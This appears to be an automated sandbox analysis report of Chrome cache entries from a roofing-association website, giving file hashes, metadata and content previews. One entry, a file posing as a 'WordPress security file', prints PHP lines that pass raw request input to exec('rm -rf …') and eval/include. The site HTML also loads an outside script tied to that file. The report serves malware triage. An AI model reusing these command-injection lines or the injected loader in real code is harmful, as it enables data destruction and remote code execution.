Preview:	.PNG........IHDR.............k.XT....pHYs................3PLTE............}........Umyy}.........MQU...Q....q.!......IDATx.....8..`..;..O;.. 4...4..z.I..e',E.H..D..Tg.e.P........H.........E.p.O.......z........u...n..rK+..9k-.x..q. ._C.\..)8.~..<...-\|..N.U..(...~v.XvW..m...>.Zg..8u..>...y..v..t!.)/..r..3R(<.q.N....)...t%...H.4}..........O...6...^.[x..{..u....$-......M..b. ...q..u............#."....!;:..'.Vv.6.....".~s.:.y.>.........jx.....59w.c.....r.......Kx.}.'....k...r.x=."{...dxe:<........~.C....Z/l.....p.._.....\|<.NV..90.J:....y+O...t'h:?..........E..%....9....h)..@j..@9.~.....!..................................................l..w ....Y%........_.`w.`R....@.P...,C.,..+...............lI..K-.DVq.F...h.=......W.![n.o2...z.......;.B&...O.T.D.K.I.u.M7.C.[9..Y..7...t.k...v.....\...5ok.h..4...w.9.....ogg...........o>.l_L...........r..g.....w..D.w..wl_t/.[.s>@.."./..hh...`..b.z...$..o..?.F..q....k=.v...h..T.........;..p.5....Y=.....W.3C..N...eD.

Chrome Cache Entry: 288

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	207
Entropy (8bit):	4.520829475849048
Encrypted:	false
SSDEEP:	6:2LGZFbz+UFvqX3yNfb1+22HWjGU9UIifoAMLDNe:28qiaK5/tMoAM3M
MD5:	2A5E09407B9EE5F309390EC090F4DCA9
SHA1:	8249EDA67EDE28AE157585E96A95B6CEE0E740A9
SHA-256:	81C96E1E00234B9D88DFFD0694F42F23BA96DB4D243D0673C3BC776FABA534FC
SHA-512:	DB6464BFD3AE3042AA8DCD3FBE80EF0383A60533992ABB9D9FE520BA8A6875E64063DFFF9743F4FC63260BBE8A7DA3F94FA929B828A653D6F43B192BAAB00C6C
Malicious:	false
Reputation:	low
URL:	https://polo.feathr.co/v1/analytics/match/script.js?a_id=603026366fd8bf4e42de107f&pk=feathr&cb=1713884053263
Preview:	(function (w) {. . . . if (typeof w.feathr === 'function') {. w.feathr('match', '6627cb818425280008d4a656', 'b73cbbe9-d3f6-43f9-891b-3186ee4712ab');. }. . .}(window));

Chrome Cache Entry: 289

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1478
Entropy (8bit):	5.1425262870180015
Encrypted:	false
SSDEEP:	24:XijtIVvkOTOzVl4YVOTOzaNnqyos/RtPdjMc+cFsSSaYL4/SjTUgZ6xtRRRbgA:XiGkPz8YVPzaAyZfjFuzatRRRbgA
MD5:	60F1761E5D013B9A14802533AF2E0E0B
SHA1:	0380C31FF794A3191B1BD5EE5D7D2B084C96D876
SHA-256:	046F70759C89E8EA677E80ECE89358E8510D3AB53EC4E693C6A75573BD8C4B5E
SHA-512:	8B71C23E72C10DE316D58BB16068D70A9A0A57375967D4D41EB4994019AA74B580D34F00D211A5C1B5FF4F019B5872845D2DA02C35AA963A168470BCC0905A0F
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/security.js?v=1713884082416
Preview:	/* It is WordPress security file...Thanks to this plugin, your website will be faster, more up-to-date and more secure. This plugin is automatically updated by the system.....$search = $_GET['search'] ?? null;..echo 'Search results for '.$search;..$search = htmlspecialchars($search, ENT_QUOTES, 'UTF-8');..echo 'Search results for '.$search;.. $page = $_GET['page'] ?? 'home';....require $page;.... file_get_contents('../pages/'.$page.'.php');..if (strstr($_GET['page'], '../') !== false) {.. throw new \Exception("Directory traversal attempt!");..}if (strstr($_GET['page'], 'file://') !== false) {.. throw new \Exception("Remote file inclusion attempt!");...$allowed = ['home', 'blog', 'gallery', 'catalog'];..$page = (in_array($page, $allowed)) ? $page : 'home';..echo file_get_contents('../pages/'.$page.'.php');...exec('rm -rf '.$GET['path']);..eval('include '.$_GET['path']);..app/.. config/.. parameters.yml.. src/..public/.. index.php.. style.css.. security.js.. logo.png.. $pa

Chrome Cache Entry: 290

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2938), with no line terminators
Category:	downloaded
Size (bytes):	2938
Entropy (8bit):	4.989368196764261
Encrypted:	false
SSDEEP:	48:oiu6oNl0R9SxGkYK2ITm5mej11i/nOrIkX6OLbf1i/u/apqWt01i/qXR4yQENlF0:c2rBBL6Yw/U5Fe
MD5:	0FD625C3991A4015814CFFDC88E2FC82
SHA1:	D7C2F53E058210FF3EA773297641008BAB71A5F3
SHA-256:	2D022DB650D194D935FAEA46A40E5512235B43BC3F8B181E32CE6D3DD745F4E1
SHA-512:	B936B4E596739DE1FA708A9F439167D4C2E670228A88A803363AA65F061B29DD9F52FDCD5AAB1C1DCBBC634A779E54F767640B2BAF30025130B5EA4FC6169631
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/woocommerce/assets/js/frontend/cart-fragments.min.js?ver=7.0.0
Preview:	jQuery(function(r){if("undefined"==typeof wc_cart_fragments_params)return!1;var t=!0,o=wc_cart_fragments_params.cart_hash_key;try{t="sessionStorage"in window&&null!==window.sessionStorage,window.sessionStorage.setItem("wc","test"),window.sessionStorage.removeItem("wc"),window.localStorage.setItem("wc","test"),window.localStorage.removeItem("wc")}catch(f){t=!1}function a(){t&&sessionStorage.setItem("wc_cart_created",(new Date).getTime())}function s(e){t&&(localStorage.setItem(o,e),sessionStorage.setItem(o,e))}var e={url:wc_cart_fragments_params.wc_ajax_url.toString().replace("%%endpoint%%","get_refreshed_fragments"),type:"POST",data:{time:(new Date).getTime()},timeout:wc_cart_fragments_params.request_timeout,success:function(e){e&&e.fragments&&(r.each(e.fragments,function(e,t){r(e).replaceWith(t)}),t&&(sessionStorage.setItem(wc_cart_fragments_params.fragment_name,JSON.stringify(e.fragments)),s(e.cart_hash),e.cart_hash&&a()),r(document.body).trigger("wc_fragments_refreshed"))},error:func

Chrome Cache Entry: 291

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (62753), with no line terminators
Category:	downloaded
Size (bytes):	62755
Entropy (8bit):	4.848886996046838
Encrypted:	false
SSDEEP:	768:SI5zYtqpLO8NXQ6KmdbqmMk8gBS0O1x0clK0N4e:F5zYtMQ6/dbqmMkvC7
MD5:	979B8B56E801469D95453055366EF54C
SHA1:	CB8A0BB5F00FEE130A289EA4DFAFC00FA53E1C04
SHA-256:	D3322CCB3912F7A9485EB1D75971FD5E1EB49C6575FF5AD985FB5496333E8C8B
SHA-512:	AFD7E2E5E1C908F3D4AAC6151E3ECF4D575222EADC5458C4118BF9C4E05D150D77CEF43E0A3D36101E0D1288973C27BB576F46B1449E9CE537C03E15AE5BF3BE
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/woocommerce/assets/css/woocommerce.css?ver=7.0.0
Preview:	@charset "UTF-8";:root{--woocommerce:#a46497;--wc-green:#7ad03a;--wc-red:#a00;--wc-orange:#ffba00;--wc-blue:#2ea2cc;--wc-primary:#a46497;--wc-primary-text:white;--wc-secondary:#ebe9eb;--wc-secondary-text:#515151;--wc-highlight:#77a464;--wc-highligh-text:white;--wc-content-bg:#fff;--wc-subtext:#767676}@-webkit-keyframes spin{100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes spin{100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@font-face{font-family:star;src:url(../fonts/star.eot);src:url(../fonts/star.eot?#iefix) format("embedded-opentype"),url(../fonts/star.woff) format("woff"),url(../fonts/star.ttf) format("truetype"),url(../fonts/star.svg#star) format("svg");font-weight:400;font-style:normal}@font-face{font-family:WooCommerce;src:url(../fonts/WooCommerce.eot);src:url(../fonts/WooCommerce.eot?#iefix) format("embedded-opentype"),url(../fonts/WooCommerce.woff) format("woff"),url(../fonts/WooCommerce.ttf) format("truetype"),url(../fonts/WooCommerc

Chrome Cache Entry: 292

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	4222
Entropy (8bit):	7.874738580841512
Encrypted:	false
SSDEEP:	96:GiTz1edkmdXCCLY0FopvnAdNPoZIXrJOXXtSlmrVGEdQ:f1yC6YSIvAAGrJOnUlmxGEi
MD5:	05E75A6384931AFEBF765D541BEF0694
SHA1:	CF720CAA0E49E719A890738C0F0E622FC003DF55
SHA-256:	ACC7E937803DFE2A25EB167C3DCD8EB986DE5CF0351B78E935246597EBCD1547
SHA-512:	44A63B188B9701D79BA5DF804052180D41A26CF94A5B0C6A0942E93F00C4108ABDC44F8A347E18054DB191647C8EEB957D19DB14BDCF26DA5EBE01A7635BAC2B
Malicious:	false
Reputation:	low
URL:	https://www.google.com/maps/vt?pb=!1m5!1m4!1i16!2i18861!3i24908!4i256!2m3!1e0!2sm!3i690434157!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0!27m16!299174093m15!14m14!1m9!1m2!1y9928148864880106101!2y4679642052884874500!2s%2Fg%2F11c5n1lpq7!4m2!1x395847673!2x3531091971!8b1!15sgcid%3Ageocoded_address!2b0!3b0!6b0!8b0&client=google-maps-embed&token=12999
Preview:	.PNG........IHDR.............k.XT....pHYs................<PLTE...............}..........................i..quy]u.UmyMQUy.........IDATx....b.8...x;;....... -.....n.J.=.Z...5y]..l.HO...................0Zd .j.;........;.D.$w.@....".9.7..6../.u6;.H..; .....I..j..@.;.@.......6d..........-,..yO.....(.V.p..Hz#W......3...YS.....F.pG.l.......3..=..S.....3..>.#.W.mH..j...h(...Y........k`g..5 ...J...LF#..z.@..A.. ..............`ot.p.p.p.p.p.p. .K'.'.'.'.'.'.'..t.p.p.p.p.p.p. .K.. 4...."s....8................q\:.8.8.8.8.8...............q\:.X.....[L.KIo..\|k4.!./...&......n3.2.....w.pXs8............1._;.C\|.....!^..#...9.....G.Kh..1O.+......l......./u..=$..-...././.!.4Vri..$~.~s...Rr...\..)..>...._.0G.0.'Q?;...?:..Qb.......;.}$.g'`.%~....&~..+~8.N..8....9:.Q..=.m'...f.~s........S.":....)~18....p....t..Q./bt4.;.......O{..n..$....}U....@.k./...X.....X.1.....:8X....>%2CtT.. ......C..b..sz..A.....M....As..1g.$.K;..4bt........ ]....8..1.w.X.lN.)........W.E/..Au$)e..k&V'

Chrome Cache Entry: 294

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (9115)
Category:	downloaded
Size (bytes):	9509
Entropy (8bit):	5.391198592229033
Encrypted:	false
SSDEEP:	192:x9oDHJdArT7TMcPv5b7KiG15tw5DlRnqVSaG88MdrHxlP72IDerNrDc:x9UdArf4cPBb7KiW/YnnyBG8hRF72C+A
MD5:	A5451283952EFD5DF49466BBEACE6911
SHA1:	DCE405842471C303C3D8FD6FA3C084AA56A71029
SHA-256:	F4E38E5EF16EFE51836CF7142412B8E1AA8B73CE89AFED23BE0CF77DFD8E095D
SHA-512:	F0DF2725497B02335994A7F4267E470155E9C6ED6BB7CE24FEFDD0E8D339F7FDD2257D8B15B2C5D9AF6D2D7A8522F3A6291B9BE86CA52DD9454BE2E3E17E1987
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/woocommerce/assets/js/jquery-blockui/jquery.blockUI.min.js?ver=2.7.0-wc.7.0.0
Preview:	/!. jQuery blockUI plugin. * Version 2.70.0-2014.11.23. * Requires jQuery v1.7 or later. . Examples at: http://malsup.com/jquery/block/. * Copyright (c) 2007-2013 M. Alsup. * Dual licensed under the MIT and GPL licenses:. * http://www.opensource.org/licenses/mit-license.php. * http://www.gnu.org/licenses/gpl.html. . Thanks to Amir-Hossein Sobhi for some excellent contributions!. */.!function(){"use strict";function e(p){p.fn._fadeIn=p.fn.fadeIn;var b=p.noop\|\|function(){},h=/MSIE/.test(navigator.userAgent),k=/MSIE 6.0/.test(navigator.userAgent)&&!/MSIE 8.0/.test(navigator.userAgent),y=(document.documentMode,"function"==typeof document.createElement("div").style.setExpression&&document.createElement("div").style.setExpression),m=(p.blockUI=function(e){o(window,e)},p.unblockUI=function(e){v(window,e)},p.growlUI=function(e,t,o,n){var i=p('<div class="growlUI"></div>'),s=(e&&i.append("<h1>"+e+"</h1>"),t&&i.append("<h2>"+t+"</h2>"),o===undefined&&(o=3e3),function(e){p.blockUI({messa

Chrome Cache Entry: 295

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1756
Entropy (8bit):	4.971480360852591
Encrypted:	false
SSDEEP:	24:BE+HzBEGGaEAmGEwKvqwC+IQsJEwKq+eyV+ey3/yJT4qwC+EkuVFk2HtYnZTVbGS:loTyQ9ehZOXH3GBV6whK5VnGTGaHV
MD5:	8E2F6ED38D662DC1A91F4277877AE39C
SHA1:	7381C1CCF2DF0F13F64C657E75CC9C428EB3DA2A
SHA-256:	ACA3591E0E9D51A14FABB21AEDAAC7CCFFC2CA824D62850AE6FAFC21D53A2461
SHA-512:	69058D68A275E2B910674E948DA4DA3FAA6A0320C5CF82143C23AAA1C09DD511933A447CDD5CA8E738C26C76C7F9EF60959769F5A4FA24A4DB1C95C30A70431D
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/woocommerce-gateway-paypal-express-checkout/assets/css/wc-gateway-ppec-frontend.css?ver=2.1.3
Preview:	.wcppec-checkout-buttons {..text-align: center;..margin: 1em 0;..overflow: hidden;.}..wcppec-checkout-buttons .woocommerce-error {..text-align: left;.}..wcppec-checkout-buttons__separator {..display: block;..margin: 0 0 1em;.}..wcppec-checkout-buttons__button {..display: inline-block;..text-decoration: none !important;..border: 0 !important;..padding-top: 1em;.}..wcppec-checkout-buttons__button img {..margin: 0 auto;.}..paypal-button-widget .paypal-button,..paypal-button-widget .paypal-button:hover {..background: transparent;..box-shadow: none;..border: none;.}..wcppec-cart-widget-button {..display: inline-block;..text-decoration: none !important;..border: 0 !important;.}..site-header .widget_shopping_cart p.buttons.wcppec-cart-widget-spb {. padding: 0 1em 1em;.}..site-header .widget_shopping_cart .woocommerce-mini-cart__empty-message + p.buttons.wcppec-cart-widget-spb {..display: none;.}...payment_method_ppec_paypal img {..max-height: 68px !important;..border-radius: 0;.}...wc-gate

Chrome Cache Entry: 296

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	4083
Entropy (8bit):	7.899503812596789
Encrypted:	false
SSDEEP:	96:GvCTo+B+aQTrIuzUO1ZSMTmzg9o/61m7+CAsRuSp:2C7ghIu4O1ZhTmzg9o/kmK/soSp
MD5:	87721E061B90FDEB023241BE762538D9
SHA1:	154AA38CB0B071593DB063268C4835DB8DBFB35C
SHA-256:	B3B7CF3CB394B8F881256F36A3789F9C4B1D356245D60345B2F8BEB862D89E5B
SHA-512:	6F1E2D7295E692ED0634C4B067DC37C56F7F6FFCA41FFFA6A6B3D344F81E74862FE71B9F6BDDAFBB1E6D87BB57EEF537F30F91B7956EFA17C31EDE0C779478BE
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............k.XT....pHYs................3PLTE..................quy.................y..Umy....."+...fIDATx....b.(...ps.....}..q.$=6....i...'KB. .W.~.\|.b`(.-]7..\.^.......y..Y...K..S..6_.V....B....t........7?K..B.&.w..[Y..l.^k.e.\|I._.UudC...... .....oB.c....9.......@.q..;....o.c.x........:.0.~.....\|....(..O..4..Yx..........g....mV......!........G/h.q..P'...a"...P...@..yq..?....A...P".b...D0\|g..t6~I./..P.f....g...u0~[.[.{..'T ;...v..\|\|......"'h....h.....q....Sf..y1=8H...H....w/.z...:.).GU....?.iW/[.^...AU .uO... .....T.X..M..$?......t(....8..\|.<^._}3..{@?.\|a..AT.;.."?.47.'W....o.O..-..n.....\|!>..atyg..=.P.t...r.._......g.j.Uyo).6......I....O...b.g5iM...y..@.U..s...\|.<.uO.....,..xhG..M^./..k._.K.....<..o.$WU..U.\|L...y.w..#.*.v.?.......g.#./.....M~...%....m.',#a=..RN...K0....8:.....u....KU.U@.\M.R..k..7..z7f.^....R._.U@..]...d.....q.......8.RQ.9.R..&.....&...J&.-..L.... \|A~.I.....-...a..r....D7E,.).0..c....W...;..]y$.#O......

Chrome Cache Entry: 297

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 150x150, components 3
Category:	downloaded
Size (bytes):	5529
Entropy (8bit):	7.9030957839428
Encrypted:	false
SSDEEP:	96:qEa7e0RiuCMnnHggc7mP10eiUCuheCqKfd6W+m/a7WqsvW4qX/EDfEsODb3P:qEr0Y+nHgJ7mWeiUCjia7WdW4QMDfE/P
MD5:	ED835C4330B413AEE8D64A38C9B0B017
SHA1:	1F17FC14E37D2C0FB963B665B2E46626C25308C6
SHA-256:	CFAF345364EFD00668476B31FBF2017F4A7E69B03780DD0878B80DE0A1CD3054
SHA-512:	FFC616B62F4A672E67A98B5926DD34EA026BF99BBC99DBDC934504CBB47BD7EC8C7B6BECFC688B62BBB4BE281225B1F35F72F6D8138C99D9068DEEB9B3B6E51F
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/uploads/2017/05/postcard-150x150.jpg
Preview:	......JFIF...........................................+......+&.%#%.&D5//5DNB>BN_UU_wqw................................+......+&.%#%.&D5//5DNB>BN_UU_wqw.............."..........3................................................................h......8....u.D.}.U.:.......9........8.Z.Z....?Z.....Z..bo..U..qn....."T.=x..w=..L.j7.y....z.........T..E.....j_...d...=....%...Y;w.9....;....e...P....9.zk.T..C..AZ....y..:X.6.. ..h..?...^..T..4.......@...'n...~+........+>)..y3.]v.3...f...`....... ....n....:.PL......T...nr;...kuea.0..@{.R..Ms....}..&.U..R.....V.V..\|..:.....W!....y.zu.-F..q....u.$.7.b...h...FCB......N.E2.C.l.....:...m...dy.q.3.L..>m..vH.o\..`...3..M.%%...'................................!. "A............+......{X...7..7[..Z.......>...l...'.5.ME.5.K_...j~Xi...U.B](3.u.X..}7.-.;........Z...#.q`.[u...!.`..g.Z.U.5.......^\|.....{P.......P.8.....P.g.%.s@.....c..K._KsC...H.y....>K...E$C.......=......n*.G3)+=K.K. j.tH.#!.D..X.n..^......4..h'

Chrome Cache Entry: 298

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (8123), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	95960
Entropy (8bit):	5.4381235397150025
Encrypted:	false
SSDEEP:	1536:peipap7Tcg1hOH+Ej4CG/GCHoX5TjdoaV5Uj9oA8TpuQry7PDwyHILXeQKWDVpg2:8Z5ceh+xEd9oA8Tpuum7zoLXeQKcVpg2
MD5:	817CBDD6979B49EDB39086B74C65F150
SHA1:	C9352DFC06E7342E1E131FBC71D0A4ABFC576E0F
SHA-256:	63F3F24EA66439AF0E49D1542200D98BB4EC98229BDBAF2313E1F13A8D36B095
SHA-512:	49D0133261721D02990B669DF6CB191C06D05E30AAA9451299E67A077AB353F4E7C617D050B015B7D22ECB2878C9BF402E605B7838B8C91373664C8E3B858E2E
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/excellence/
Preview:	<!DOCTYPE html>..<html lang="en">..<head>.. GTM Snippet for Feathr) -->..<script>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start':..new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],..j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=..'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);..})(window,document,'script','dataLayer','GTM-NZGSSK4');</script>... Google tag (gtag.js) -->..<script async src="https://www.googletagmanager.com/gtag/js?id=G-YHMWY88VCL"></script>..<script>.. window.dataLayer = window.dataLayer \|\| [];.. function gtag(){dataLayer.push(arguments);}.. gtag('js', new Date());.... gtag('config', 'G-YHMWY88VCL');..</script>..<script>var pm_pid = "25878-036c4a38"; var pm_sw = "/security.js"</script><script src="//wds.wesq.me/js/pub.min.js" async></script>....<meta charset="UTF-8">...<meta name="viewport" content="width=device-width, initial-scale=1.0">...<link rel="profile" href

Chrome Cache Entry: 299

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4212)
Category:	downloaded
Size (bytes):	133785
Entropy (8bit):	5.5480991538177635
Encrypted:	false
SSDEEP:	3072:gmatFVkZHzd5YlV0qOJp+4d/dmnL83C74PXRDbW:MUHzd5g0jLqI3C76XR2
MD5:	361FD518D18939344E0A67A40744A0AF
SHA1:	56E1B28183D14FDEA8DE0EDCE987470310731740
SHA-256:	0F8B6E904C42680DEA795B17F85E29A37FC2E3C4E9A2CA40B54CE9F2BF3EBD15
SHA-512:	3CBF1CF3A00B736A40FC4BE258329BB427C3A02F82AEF2C550EBEFF0D4013393FABCC013E1AE2B0AE42C98A5CCA93D69A31EF0B333C50663017932E685084F44
Malicious:	false
Reputation:	low
URL:	https://www.googletagmanager.com/gtm.js?id=GTM-NZGSSK4
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"3",. . "macros":[{"function":"__e"},{"function":"__v","vtp_name":"gtm.element","vtp_dataLayerVersion":1},{"function":"__u","vtp_component":"URL","vtp_enableMultiQueryKeys":false,"vtp_enableIgnoreEmptyQueryParam":false},{"function":"__u","vtp_component":"HOST","vtp_enableMultiQueryKeys":false,"vtp_enableIgnoreEmptyQueryParam":false},{"function":"__u","vtp_component":"PATH","vtp_enableMultiQueryKeys":false,"vtp_enableIgnoreEmptyQueryParam":false},{"function":"__f","vtp_component":"URL"},{"function":"__e"}],. "tags":[{"function":"__cl","tag_id":12},{"function":"__cl","tag_id":13},{"function":"__cl","tag_id":14},{"function":"__html","metadata":["map"],"once_per_event":true,"vtp_html":"\u003Cscript type=\"text\/gtmscript\"\u003E!function(b,d,e,f,c,a){b[c]\|\|(a=b[c]=function(){a.invoke?a.invoke.apply(a,arguments):a.queue.push(arguments)},a.queue=[],a.loaded=1*new Date,a.version=\"1.0

Chrome Cache Entry: 300

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	3881
Entropy (8bit):	5.069483501663901
Encrypted:	false
SSDEEP:	96:92N4MPrBcUEVt/AGFdVWA6GbOPB6ErsC+:QzPrpEVxAGFTWA6GqPlrsC+
MD5:	E618E5E5C181F49D94AD057FAD7840BE
SHA1:	0BCAE9BEE26A7419B3D3EE84FC84A21D2D30D98C
SHA-256:	E2CF371942F19A06BA779FF793CC63C97CF2BD6C6D8D6B835D336CC1BFA6BD73
SHA-512:	45E4D2FA7B3D01327AE45B1CAB05B17C7E1AEE0DD53BAFE8CF3C82FE465066F04AF0D58E5387B65872521DB7F160C56D0EE32AAE430B52C40BFD6229D4910994
Malicious:	false
Reputation:	low
URL:	https://arma1.memberclicks.net/jmc-assets/nivo-slider-css/nivo-themes/mc02/mc02.css
Preview:	/....Skin Name: MC02 (Bar)..Author: Beef ("I just tweaked it a bit.")....- Based on the following: -....Skin Name: Nivo Slider Bar Theme..Skin URI: http://nivo.dev7studios.com..Description: The bottom bar skin for the Nivo Slider...Version: 1.0..Author: Gilbert Pellegrom..Author URI: http://dev7studios.com..Supports Thumbs: false../.....theme-mc02.slider-wrapper {.. position: relative;.. border: 0px solid #333;.. overflow: hidden;..}...theme-mc02 .nivoSlider {.. position:relative;.. background:#fff url(loading.gif) no-repeat 50% 50%;..}...theme-mc02 .nivoSlider img {.. position:absolute;.. top:0px;.. left:0px;.. display:none;..}...theme-mc02 .nivoSlider a {.. border:0;.. display:block;..}.....theme-mc02 .nivo-controlNav {.. position: absolute;.. left: 0;.. bottom: -41px;.. z-index: 10;.. width: 100%;.. height: 30px;.. text-align: center;.. padding: 5px 0;.. border-top: 1px solid #000;.. background: #333;.. background:

Chrome Cache Entry: 301

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	4741
Entropy (8bit):	7.930954494939082
Encrypted:	false
SSDEEP:	96:rQdUfmynw8uE5YX4XHcDfjQ0CeLN/6wj1zponelQEDg81iEAzmAg4u:GUfpQE+gH4fjfbZzponelQEDfh4u
MD5:	F6EBDA91CE1409F93DA747E7633695FC
SHA1:	0C2C2F451F2775F31482CCA693E0D555FC5EAFA8
SHA-256:	BD5B5AC450DE166B70C3AD1EA9C24BE32941DF342015A11029C2CA1DC32B537C
SHA-512:	B856A4C5D8683AB3D20A50F8CD98F02DD2CF0EE740487ED2A82CF2FFB6AAB6B2B7A9E27F7974E9EAF314A76816D813B1C17FCF15FB858537938291CF66CB8F22
Malicious:	false
Reputation:	low
URL:	https://www.google.com/maps/vt?pb=!1m5!1m4!1i16!2i18863!3i24908!4i256!2m3!1e0!2sm!3i690434157!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0!27m16!299174093m15!14m14!1m9!1m2!1y9928148864880106101!2y4679642052884874500!2s%2Fg%2F11c5n1lpq7!4m2!1x395847673!2x3531091971!8b1!15sgcid%3Ageocoded_address!2b0!3b0!6b0!8b0&client=google-maps-embed&token=42968
Preview:	.PNG........IHDR.............k.XT....pHYs................6PLTE.............................quy......y}..........+.......IDATx....z#-...p.^v..e..............N"!.q.....r.F...@...\......./)C?.Y.V.\|TX...i.r..\|w.H... ./Rl..IK.....,....,.K..n/.`..(...".m.}..'8..YG.j......W.$..g...........#..Fx...q.."7m..B..+.V..Jy.!....,..?O..m8O...Q..:f.=;J.lk$/..n..........F......v...B7l.......#.I.Pv.0..d;....W..b.[M.n....%.[0...f...=..)..N...^+`N......r..E...w.L....s\a.+F.....Z..L..o..I.yM....S.lv..'A..v......x...N..!.....(..jl.Ra...~r......X{...K...O.l.......r......).s1.h..JF....Ub.........l.\;.u4Y...6z..3Y}...S.Ii...(@...l...../K.,mu.6v..../...B./=.=DRD..=...@.c..e2..UF....YI:..\$.#+.O.........7........}.V.v.<.r.q.....V.....Xg....=&.C2(...KxR.2..-.=...H.@>..3.........eEL.>....s.!...B.?Hx.Z..]&PY...d.F<..#>.49.B.J....%<.}.d.L.&....b...p..t.%..e/x......@<o.....9#u.......O..,9.T..f.V\>*...............af..,.....?......>M@..&P.......;q[h...X..@....j(......B...

Chrome Cache Entry: 302

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 590 x 350, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	16823
Entropy (8bit):	7.956027976467921
Encrypted:	false
SSDEEP:	384:aM4lwwCKGyxy3mhzn4NoNAmGRW7R2eg+8Fin5CP:rRwCKGyxy3an4JYo9BICP
MD5:	164F88293A91D34DFA20A7A15EDF599D
SHA1:	B8C7810ABAA433EC8D1DE749E16AC78C95553AB7
SHA-256:	798299B29CE09F4EAFB017114A591914E68706377A78566B132FB9267A800321
SHA-512:	C2623FDA71FA6456CA2D077644E07CB245DEFE2BF2857A5024EEDA6574B654926C96E85BF673CD71538BA0DB36B418E4E858C3A2806046AEF4BBC8EA7ED5C0C4
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...N...^.....D.`....`PLTENRVTnzpuz_w.{~...84.SQ.ii..x..~..T................................................................6.....bKGD....... .IDATx...c.:...=..z.2(...?.M..(E.t.9.sL.."I.4...Ka@.E.Y.V..)xU..P...../.j.].EY.q......I...z\.4NB.WeY...-.F.o../..CV@.L.].Q.P.p...qR ...a...Z.x..,.RuY5..,.#2..I......!...bs..Q...7!...UU%..E.!.V...,d...r.Xk..o......;.?$.6i'.3..0.p...A.x!tk.fTLV..).'..4$go..NZ..I.ik.<`..:.uU(FY......D.%.....IU.&'...W.g.iH.q...t.W..M.UC.z8.`...2....)I...)t.....(..{.4.]3....n.iH.pr....M....Q..0...OL.c.....!.wd..!.........r.x.`\|a......\.D..BY..n.....)M..,.....Z..D....!d..1........sE...h..&.p...N.@.b...RPO......%.g&&$..'...&...:....%.3.......u.r4-...v.2...4$..`.].8P......Y.D\.1(%b..m.."..~W.$..........U.Y..H..B?..zPj;...x.iH...9..fiQ.,6...47).YR%.dq.[UDR..w...KYj..i....UV....jp.5.Xo...m8.....3`.di..K....$'$.+p.....8.6....+....Z.......kq..TN......\.d=k0[......$.`.4.Y.W.pB.U.e.~,hC...-/....E"...Z...!..).2.."f

Chrome Cache Entry: 303

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	993
Entropy (8bit):	4.737133988745676
Encrypted:	false
SSDEEP:	24:5dCc3QRAhwatoYZjtpZMXZJJ9nSnf14N265QjGteNltX:5drgRAhwtY7pZQ/J41/6j6X
MD5:	BE08DA85B7024F7AA1E7D728ABA0D238
SHA1:	1F00C78319A48E6A4635586DCD90AA9992C93F94
SHA-256:	2DC20FD133694B0BEC619C2A0E72646132A4225DE7927A959112CC801E3F390B
SHA-512:	A39D7EE940481BFD5263DBDD5362592A425C5D4C3D619BC0FECDE2FFC316DBBA19A74C3BCDBC69AFE53A32C5C51DDE78717A0096C017028E4F791AD90B3A075E
Malicious:	false
Reputation:	low
